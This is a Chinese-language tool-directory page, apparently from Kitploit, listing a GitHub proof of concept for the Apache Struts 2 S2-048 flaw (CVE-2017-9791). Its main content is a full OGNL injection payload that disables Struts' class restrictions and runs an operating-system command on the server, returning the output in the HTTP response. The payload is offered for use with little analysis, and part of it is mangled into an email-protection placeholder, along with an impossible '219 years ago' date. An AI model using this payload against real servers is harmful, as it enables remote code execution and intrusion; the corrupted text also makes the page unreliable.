Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
s2-048 — Apache struts struts 2 048, CVE-2017-9791. | Kitploit
工具/GitHubGitHub/iansmith123/s2-048
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubiansmith123/s2-048

s2-048

Apache struts struts 2 048, CVE-2017-9791.

查看仓库
219年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

s2-048

s2-048 的 Exp,CVE-2017-9791。

root@kitploit:~
  ______     _______     ____   ___  _ _____     ___ _____ ___  _ 
 / ___\ \   / / ____|   |___ \ / _ \/ |___  |   / _ \___  / _ \/ |
| |    \ \ / /|  _| _____ __) | | | | |  / /___| (_) | / / (_) | |
| |___  \ V / | |__|_____/ __/| |_| | | / /_____\__, |/ / \__, | |
 \____|  \_/  |_____|   |_____|\___/|_|/_/        /_//_/    /_/|_|

poc:

root@kitploit:~
%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

这是一个来自 https://github.com/Loneyers/vuldocker/tree/master/struts2/s2-048 的 poc,我构建了一个 docker 并成功得到了相同的结果,但我的 python 脚本中仍然存在一些错误。

下载工具